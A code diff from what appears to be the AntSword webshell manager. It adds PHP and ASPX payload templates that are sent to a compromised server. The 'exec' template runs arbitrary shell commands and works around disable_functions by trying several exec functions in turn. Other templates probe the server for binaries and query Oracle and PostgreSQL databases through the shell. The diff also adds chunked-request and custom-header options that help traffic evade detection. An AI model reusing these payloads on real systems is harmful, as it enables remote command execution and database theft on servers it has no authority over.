+      Rs.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"])),Conn,1,1);
+      var CO:String="\\t";
+      var i:Int32=Rs.Fields.Count,c:Int32;
+      while(!Rs.EOF && !Rs.BOF){
+        Response.Write(Rs.Fields(0).Value+" ("+Rs.Fields(1).Value+"("+Rs.Fields(2).Value+"))");
+        Response.Write(CO);
+        Rs.MoveNext();
+      }
+      Rs.Close();
+      Conn.Close();`.replace(/\n\s+/g, ''),
     [arg1]: '#{base64::conn}',
-    // SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A) WHERE N=1
-    [arg2]: '#{base64::table}'
+    // SELECT * FROM ${db}.${table} WHERE ROWNUM=0
+    [arg2]: '#{base64::table}' // 这里其实传入的是获取表头的 sql 语句
   },
   // 执行SQL语句
   query: {
     _:
-      `var Conn=new ActiveXObject("Adodb.connection");var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;var Rs=Conn.Execute(strSQL);var i:Int32=Rs.Fields.Count,c:Int32;for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}Conn.Close();`,
+      `var Conn=new ActiveXObject("Adodb.connection");
+      var strSQL:String=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));
+      Conn.ConnectionString=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
+      Conn.ConnectionTimeout=10;
+      Conn.Open();
+      var CO:String="\\t|\\t",RN:String="\\r\\n",Dat:String;
+      var Rs=Conn.Execute(strSQL);
+      var i:Int32=Rs.Fields.Count,c:Int32;
+      for(c=0;c<i;c++){
+        Response.Write(Rs.Fields(c).Name+CO);
+      }
+      Response.Write(RN);
+      while(!Rs.EOF && !Rs.BOF){
+        for(c=0;c<i;c++){
+          Dat=Rs.Fields(c).Value;
+          Response.Write(Dat);
+          Response.Write(CO);
+        }
+        Response.Write(RN);
+        Rs.MoveNext();
+      }
+      Conn.Close();`.replace(/\n\s+/g, ''),
     [arg1]: '#{base64::conn}',
     // SELECT * FROM (SELECT A.*,ROWNUM N FROM table2 A ORDER BY 1) WHERE N>0 AND N<=20
     [arg2]: '#{base64::sql}',
+    [arg3]: '#{dbname}'
   }
 })

source/core/base.js

@@ -158,7 +158,7 @@ class Base {
                       retStr = argv[tagStr] || '';
                     }
                     // 组合最终生成模板代码
-                    data[arg] = args[arg].replace(tag, retStr);
+                    data[arg] = data[arg].replace(tag, retStr);
                   }
                 )
               }
@@ -182,6 +182,8 @@ class Base {
    */
   parseEncoder(enc) {
     // 加载编码器
+    // https://github.com/AntSwordProject/antSword/issues/135#issuecomment-475842870
+    delete require.cache[require.resolve(`${enc}`)];
     // QAQ！我也不知道为什么，如果直接require变量名，babel编译就会warning，so我只好加个`咯～
     this['__encoder__'][enc.indexOf(`encoder/`) > -1 ? enc.split(`encoder/`)[1]:enc.split(`encoder\\`)[1]] = require(`${enc}`);
   }
@@ -290,9 +292,15 @@ class Base {
           data: opt['data'],
           tag_s: opt['tag_s'],
           tag_e: opt['tag_e'],
+          encode: this.__opts__['encode'],
           ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1,
+          useChunk: (this.__opts__['otherConf'] || {})['use-chunk'] === 1,
+          chunkStepMin: (this.__opts__['otherConf'] || {})['chunk-step-byte-min'] || 2,
+          chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,
           useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,
-          encode: this.__opts__['encode']
+          timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),
+          headers: (this.__opts__['httpConf'] || {})['headers'] || {},
+          body: (this.__opts__['httpConf'] || {})['body'] || {}
         });
     })
   }

source/core/custom/template/command.js

@@ -7,5 +7,9 @@ module.exports = () => ({
     _: 'M',
     'z1': '#{bin}',
     'z2': '#{cmd}'
+  },
+  listcmd: {
+    _: 'Y',
+    'z1': '#{binarr}',
   }
 })

source/core/index.js

@@ -14,7 +14,7 @@ class Core {
   constructor() {
     // 加载子模块列表
     let cores = {};
-    ['php', 'asp', 'aspx', 'custom'].map((_) => {
+    ['php', 'asp', 'aspx', 'custom', 'php4'].map((_) => {
       cores[_] = require(`./${_}/index`);
     });
     // 返回子模块对象

source/core/php/index.js

@@ -20,6 +20,9 @@ class PHP extends Base {
       'database/mssql',
       'database/sqlsrv',
       'database/oracle',
+      'database/oracle_oci8',
+      'database/postgresql',
+      'database/postgresql_pdo',
       'database/informix'
     ].map((_) => {
       this.parseTemplate(`./php/template/${_}`);

source/core/php/template/base.js

@@ -7,8 +7,13 @@ module.exports = () => ({
   info:
     `$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="\t{$s}";echo $R;`,
   probedb: // 检测数据库函数支持
-    `$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close');
+    `$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close');
     foreach ($m as $f) {
       echo($f."\\t".(function_exists($f)?'1':'0')."\\n");
+    }
+    if(function_exists('pdo_drivers')){
+      foreach(@pdo_drivers() as $f){
+        echo("pdo_".$f."\\t1\\n");
+      }
     }`.replace(/\n\s+/g, ''),
 })

source/core/php/template/command.js

@@ -5,11 +5,55 @@
 module.exports = (arg1, arg2) => ({
   exec: {
     _:
-      `$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runcmd($c){$ret=0;if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("\n",$o));}elseif (fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp, 2048));}@pclose($fp);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";`,
+      `$p=base64_decode($_POST["${arg1}"]);
+      $s=base64_decode($_POST["${arg2}"]);
+      $d=dirname($_SERVER["SCRIPT_FILENAME"]);
+      $c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";
+      $r="{$p} {$c}";
+      function fe($f){$d=explode(",",@ini_get("disable_functions"));
+        if(empty($d)){
+          $d=array();
+        }else{
+          $d=array_map('trim',array_map('strtolower',$d));
+        }
+        return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
+      };
+      function runcmd($c){
+        $ret=0;
+        if(fe('system')){
+          @system($c,$ret);
+        }elseif(fe('passthru')){
+          @passthru($c,$ret);
+        }elseif(fe('shell_exec')){
+          print(@shell_exec($c));
+        }elseif(fe('exec')){
+          @exec($c,$o,$ret);
+          print(join("\n",$o));
+        }elseif(fe('popen')){
+          $fp=@popen($c,'r');
+          while(!@feof($fp)){
+            print(@fgets($fp, 2048));
+          }
+          @pclose($fp);
+        }elseif(fe('antsystem')){
+          @antsystem($c);
+        }else{
+          $ret = 127;
+        }
+        return $ret;
+      };
+      $ret=@runcmd($r." 2>&1");
+      print ($ret!=0)?"ret={$ret}":"";`.replace(/\n\s+/g, ''),
     [arg1]: "#{base64::bin}",
     [arg2]: "#{base64::cmd}"
   },
-
+  listcmd: {
+    _: `$arr=explode(",",base64_decode($_POST["${arg1}"]));
+    foreach($arr as $v){
+        echo($v."\t".(file_exists($v)?"1":"0")."\n");
+    }`.replace(/\n\s+/g, ''),
+    [arg1]: "#{base64::binarr}",
+  },
   quote: {
     _:
       `$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,

source/core/php/template/database/oracle_oci8.js

+/**
+ * 数据库管理模板::oracle oci8 驱动
+ * i 数据分隔符号 => \t|\t
+ * 
+ * session_mode: OCI_DEFAULT 0 OCI_SYSOPER 4 OCI_SYSDBA 2
+ * 
+ */
+
+module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
+  // 显示所有数据库
+  show_databases: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $chs="utf8";
+      $mod=0;
+      $H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
+      if(!$H){
+        echo("ERROR://".@oci_error()["message"]);
+      }else{
+        $q=@oci_parse($H,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");
+        if(@oci_execute($q)){
+          while(@oci_fetch($q)){
+            echo(trim(@oci_result($q,1)).chr(9));
+          }
+        }else{
+          echo("Status\t|\t\r\n");
+          $e=@oci_error($q);
+          if($e){
+            echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\t|\t\r\n");
+          }else{
+            echo("RmFsc2U="."\t|\t\r\n");
+          }
+        }
+        @oci_close($H);
+      };`.replace(/\n\s+/g, ''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}'
+  },
+  // 显示数据库所有表
+  show_tables: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
+      $chs="utf8";
+      $mod=0;
+      $sql="SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)";
+      $H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
+      if(!$H){
+        echo("ERROR://".@oci_error()["message"]);
+      }else{
+        $q=@oci_parse($H,$sql);
+        if(@oci_execute($q)){
+          $n=@oci_fetch_all($q,$res,0,-1,OCI_FETCHSTATEMENT_BY_ROW+OCI_NUM);
+          if($n==0){
+            echo("ERROR://Database has no tables or no privilege");
+          }else{
+            for($i=0;$i<$n;$i++){
+              $row=$res[$i];
+              echo(trim($row[0]).chr(9));
+            }
+          }
+        }else{
+          echo("Status\t|\t\r\n");
+          $e=@oci_error($q);
+          if($e){
+            echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\t|\t\r\n");
+          }else{
+            echo("RmFsc2U="."\t|\t\r\n");
+          }
+        }
+        @oci_close($H);
+      };`.replace(/\n\s+/g, ''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}',
+    [arg4]: '#{db}'
+  },
+  // 显示表字段
+  show_columns: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
+      $tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
+      $sql="SELECT COLUMN_NAME,DATA_TYPE,DATA_LENGTH FROM ALL_TAB_COLUMNS WHERE OWNER='{$dbn}' AND TABLE_NAME='{$tab}' ORDER BY COLUMN_ID";
+      $chs="utf8";
+      $mod=0;
+      $H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
+      if(!$H){
+        echo("ERROR://".@oci_error()["message"]);
+      }else{
+        $q=@oci_parse($H,$sql);
+        if(@oci_execute($q)){
+          $n=@oci_fetch_all($q,$res,0,-1,OCI_FETCHSTATEMENT_BY_ROW+OCI_NUM);
+          if($n==0){
+            echo("ERROR://Table has no columns or no privilege");
+          }else{
+            for($i=0;$i<$n;$i++){
+              $row=$res[$i];
+              echo(trim($row[0])." (".$row[1]."(".$row[2]."))".chr(9));
+            }
+          }
+        }else{
+          echo("Status\t|\t\r\n");
+          $e=@oci_error($q);
+          if($e){
+            echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\t|\t\r\n");
+          }else{
+            echo("RmFsc2U="."\t|\t\r\n");
+          }
+        }
+        @oci_close($H);
+      };`.replace(/\n\s+/g, ''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}',
+    [arg4]: '#{db}',
+    [arg5]: '#{table}'
+  },
+  // 执行SQL语句
+  query: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $sid=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
+      $sql=base64_decode($_POST["${arg5}"]);
+      $chs=$m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"];;
+      $chs=$chs?$chs:"utf8";
+      $mod=0;
+      $H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
+      if(!$H){
+        echo("ERROR://".@oci_error()["message"]);
+      }else{
+        $q=@oci_parse($H,$sql);
+        if(@oci_execute($q)) {
+          $n=oci_num_fields($q);
+          if($n==0){
+            echo("Affect Rows\t|\t\r\n".base64_encode(@oci_num_rows($q))."\t|\t\r\n");
+          }else{
+            for($i=1;$i<=$n;$i++){
+              echo(oci_field_name($q,$i)."\t|\t");
+            }
+            echo "\r\n";
+            while ($row = @oci_fetch_array($q, OCI_ASSOC+OCI_RETURN_NULLS)) {
+              foreach ($row as $item) {
+                echo($item !== null ? base64_encode($item):"")."\t|\t";
+              }
+              echo "\r\n";
+            }
+            @oci_free_statement($q);
+          }
+        }else{
+          echo("Status\t|\t\r\n");
+          $e=@oci_error($q);
+          if($e){
+            echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\t|\t\r\n");
+          }else{
+            echo("RmFsc2U="."\t|\t\r\n");
+          }
+        }
+        @oci_close($H);
+      }`.replace(/\n\s+/g, ''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}',
+    [arg4]: '#{db}',
+    [arg5]: '#{base64::sql}',
+    [arg6]: '#{encode}',
+  }
+})

source/core/php/template/database/postgresql.js

+/**
+ * 数据库管理模板::postgresql
+ * i 数据分隔符号 => \t|\t
+ */
+
+module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
+  // 显示所有数据库
+  show_databases: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $arr=array(
+        'host'=>split(':',$hst)[0],
+        'port'=>split(':',$hst)[1],
+        'user'=>$usr,
+        'password'=>$pwd,
+      );
+      $cs='';
+      foreach($arr as $k=>$v) {
+        if(empty($v)){
+            continue;
+        }
+        $cs .= "$k=$v ";
+     }
+      $T=@pg_connect($cs);
+      if(!$T){
+        echo("ERROR://".@pg_last_error());
+      }else{
+        $q=@pg_query($T,"SELECT datname FROM pg_database where datistemplate='f';");
+        if(!$q){
+          echo("ERROR://".@pg_last_error());
+        }else{
+          while($rs=@pg_fetch_row($q)){
+            echo(trim($rs[0]).chr(9));
+          }
+          @pg_free_result($q);
+        }
+        @pg_close($T);
+      }`.replace(/\n\s+/g,''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}'
+  },
+  // 显示数据库所有表
+  show_tables: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
+      $arr=array(
+        'host'=>split(':',$hst)[0],
+        'port'=>split(':',$hst)[1],
+        'user'=>$usr,
+        'password'=>$pwd,
+        'dbname'=>$dbn,
+      );
+      $cs='';
+      foreach($arr as $k=>$v) {
+        if(empty($v)){
+            continue;
+        }
+        $cs .= "$k=$v ";
+     }
+      $T=@pg_connect($cs);
+      if(!$T){
+        echo("ERROR://".@pg_last_error());
+      }else{
+        $q=@pg_query($T,"SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema');");
+        if(!q){
+          echo("ERROR://".@pg_last_error());
+        }else{
+          while($rs=@pg_fetch_row($q)){
+            echo(trim($rs[0]).chr(9));
+          }
+          @pg_free_result($q);
+        }
+        @pg_close($T);
+      }`.replace(/\n\s+/g,''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}',
+    [arg4]: '#{db}'
+  },
+  // 显示表字段
+  show_columns: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
+      $tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
+      $arr=array(
+        'host'=>split(':',$hst)[0],
+        'port'=>split(':',$hst)[1],
+        'user'=>$usr,
+        'password'=>$pwd,
+        'dbname'=>$dbn,
+      );
+      $cs='';
+      foreach($arr as $k=>$v) {
+        if(empty($v)){
+            continue;
+        }
+        $cs .= "$k=$v ";
+     }
+      $T=@pg_connect($cs);
+      if(!$T){
+        echo("ERROR://".@pg_last_error());
+      }else{
+        $q=@pg_query($T,"SELECT column_name,udt_name,character_maximum_length FROM information_schema. COLUMNS WHERE TABLE_NAME = '{$tab}';");
+        if(!$q){
+          echo("ERROR://".@pg_last_error());
+        }else{
+          while($rs=@pg_fetch_row($q)){
+            $len=$rs[2]?$rs[2]:"0";
+            echo(trim($rs[0])." ({$rs[1]}({$len}))".chr(9));
+          }
+          @pg_free_result($q);
+        }
+        @pg_close($T);
+      }`.replace(/\n\s+/g,''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}',
+    [arg4]: '#{db}',
+    [arg5]: '#{table}'
+  },
+  // 执行SQL语句
+  query: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
+      $sql=base64_decode($_POST["${arg5}"]);
+      $encode=$m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"];
+      $arr=array(
+        'host'=>split(':',$hst)[0],
+        'port'=>split(':',$hst)[1],
+        'user'=>$usr,
+        'password'=>$pwd,
+        'dbname'=>$dbn,
+      );
+      $cs='';
+      foreach($arr as $k=>$v) {
+        if(empty($v)){
+            continue;
+        }
+        $cs .= "$k=$v ";
+      }
+      $T=@pg_connect($cs);
+      if(!$T){
+        echo("ERROR://".@pg_last_error());
+      }else{
+        $q=@pg_query($T, $sql);
+        if(!$q){
+          echo("ERROR://".@pg_last_error());
+        }else{
+          $n=@pg_num_fields($q);
+          if($n===NULL){
+            echo("Status\t|\t\r\n");
+            echo(base64_encode("ERROR://".@pg_last_error())."\t|\t\r\n");
+          }elseif($n===0){
+            echo("Affect Rows\t|\t\r\n".base64_encode(@pg_affected_rows($q))."\t|\t\r\n");
+          }else{
+            for($i=0;$i<$n;$i++){
+              echo(@pg_field_name($q,$i)."\t|\t");
+            }
+            echo "\r\n";
+            while($row=@pg_fetch_row($q)){
+              for($i=0;$i<$n;$i++){
+                echo(base64_encode($row[$i]!==NULL?$row[$i]:"NULL")."\t|\t");
+              }
+              echo "\r\n";
+            }
+          }
+          @pg_free_result($q);
+        }
+        @pg_close($T);
+      }`.replace(/\n\s+/g, ''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}',
+    [arg4]: '#{db}',
+    [arg5]: '#{base64::sql}',
+    [arg6]: '#{encode}'
+  }
+})

source/core/php/template/database/postgresql_pdo.js

+/**
+ * 数据库管理模板::postgresql_pdo
+ * i 数据分隔符号 => \t|\t
+ */
+
+module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
+  // 显示所有数据库
+  show_databases: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $host=split(':',$hst)[0];
+      $port=split(':',$hst)[1];
+      $arr=array(
+        'host'=>$host,
+        'port'=>$port,
+      );
+      $cs='pgsql:';
+      foreach($arr as $k=>$v) {
+        if(empty($v)){
+          continue;
+        }
+        $cs .= "$k=$v;";
+      }
+      $dbh=new PDO($cs,$usr,$pwd);
+      if(!$dbh){
+        echo("ERROR://CONNECT ERROR");
+      }else{
+        $query="select datname FROM pg_database where datistemplate='f';";
+        $result=$dbh->prepare($query);
+        $result->execute();
+        while($res=$result->fetch(PDO::FETCH_ASSOC)){
+          echo(trim($res['datname']).chr(9));
+        }
+        $dbh=null;
+      }`.replace(/\n\s+/g,''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}'
+  },
+  // 显示数据库所有表
+  show_tables: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
+      $host=split(':',$hst)[0];
+      $port=split(':',$hst)[1];
+      $arr=array(
+        'host'=>$host,
+        'port'=>$port,
+        'dbname'=>$dbn,
+      );
+      $cs='pgsql:';
+      foreach($arr as $k=>$v) {
+        if(empty($v)){
+          continue;
+        }
+        $cs .= "$k=$v;";
+      }
+      $dbh=new PDO($cs,$usr,$pwd);
+      if(!$dbh){
+        echo("ERROR://CONNECT ERROR");
+      }else{
+        $query="SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema');";
+        $result=$dbh->prepare($query);
+        $result->execute();
+        while($res=$result->fetch(PDO::FETCH_ASSOC)){
+          echo(trim($res['table_name']).chr(9));
+        }
+        $dbh=null;
+      }`.replace(/\n\s+/g,''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}',
+    [arg4]: '#{db}'
+  },
+  // 显示表字段
+  show_columns: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
+      $tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
+      $host=split(':',$hst)[0];
+      $port=split(':',$hst)[1];
+      $arr=array(
+        'host'=>$host,
+        'port'=>$port,
+        'dbname'=>$dbn,
+      );
+      $cs='pgsql:';
+      foreach($arr as $k=>$v) {
+        if(empty($v)){
+          continue;
+        }
+        $cs .= "$k=$v;";
+      }
+      $dbh=new PDO($cs,$usr,$pwd);
+      if(!$dbh){
+        echo("ERROR://CONNECT ERROR");
+      }else{
+        $query="SELECT column_name,udt_name,character_maximum_length FROM information_schema.COLUMNS WHERE TABLE_NAME = '{$tab}';";
+        $result=$dbh->prepare($query);
+        $result->execute();
+        while($res=$result->fetch(PDO::FETCH_ASSOC)){
+          $len=$res['character_maximum_length'] ? $res['character_maximum_length']:"0";
+          echo(trim($res['column_name'])." ({$res['udt_name']}({$len}))".chr(9));
+        }
+        $dbh = null;
+      }`.replace(/\n\s+/g,''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}',
+    [arg4]: '#{db}',
+    [arg5]: '#{table}'
+  },
+  // 执行SQL语句
+  query: {
+    _:
+      `$m=get_magic_quotes_gpc();
+      $hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
+      $usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
+      $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
+      $dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
+      $sql=base64_decode($_POST["${arg5}"]);
+      $encode=$m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"];
+      $host=split(':',$hst)[0];
+      $port=split(':',$hst)[1];
+      $arr=array(
+        'host'=>$host,
+        'port'=>$port,
+        'dbname'=>$dbn,
+      );
+      $cs='pgsql:';
+      foreach($arr as $k=>$v) {
+        if(empty($v)){
+          continue;
+        }
+        $cs .= "$k=$v;";
+      }
+      $dbh=new PDO($cs,$usr,$pwd);
+      if(!$dbh){
+        echo("ERROR://CONNECT ERROR");
+      }else{
+        $result=$dbh->prepare($sql);
+        if(!$result->execute()){
+          echo("Status\t|\t\r\n");
+          $err="";
+          foreach(@$result->errorInfo() as $v){
+            $err.=$v." ";
+          }
+          echo(base64_encode("ERROR://".$err)."\t|\t\r\n");
+        }else{
+          $bool=True;
+          while($res=$result->fetch(PDO::FETCH_ASSOC)){
+            if($bool){
+              foreach($res as $key=>$value){
+                echo($key."\t|\t");
+              }
+              echo "\r\n";
+              $bool=False;
+            }
+            foreach($res as $key=>$value){
+              echo(base64_encode($value!==NULL?$value:"NULL")."\t|\t");
+            }
+            echo "\r\n";
+          }
+          if($bool){
+            if(!$result->columnCount()){
+              echo("Affect Rows\t|\t\r\n".base64_encode($result->rowCount())."\t|\t\r\n");
+            }else{
+              echo("Status\t|\t\r\n");
+              echo(base64_encode("ERROR://Table is empty.")."\t|\t\r\n");
+            }
+          }
+        }
+        $dbh = null;
+      }`.replace(/\n\s+/g, ''),
+    [arg1]: '#{host}',
+    [arg2]: '#{user}',
+    [arg3]: '#{passwd}',
+    [arg4]: '#{db}',
+    [arg5]: '#{base64::sql}',
+    [arg6]: '#{encode}'
+  }
+})

source/core/php/template/database/sqlsrv.js

@@ -77,7 +77,8 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
       $pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
       $dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
       $sql=base64_decode($_POST["${arg5}"]);
-      $chs='utf-8';
+      $chs=strtolower($m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"]);
+      $chs=($chs=='utf-8'||$chs=='char')?$chs:'utf-8';
       $T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs));
       $q=@sqlsrv_query($T,$sql,null);
       if($q!==false){
@@ -102,7 +103,14 @@ module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
         }
         @sqlsrv_free_stmt($q);
       }else{
-        echo("Status\t|\t\r\n".base64_encode(sqlsrv_errors()[0]['message'])."\t|\t\r\n");
+        echo("Status\t|\t\r\n");
+        if(($e = sqlsrv_errors()) != null){
+          foreach($e as $v){
+            echo(base64_encode($e['message'])."\t|\t\r\n");
+          }
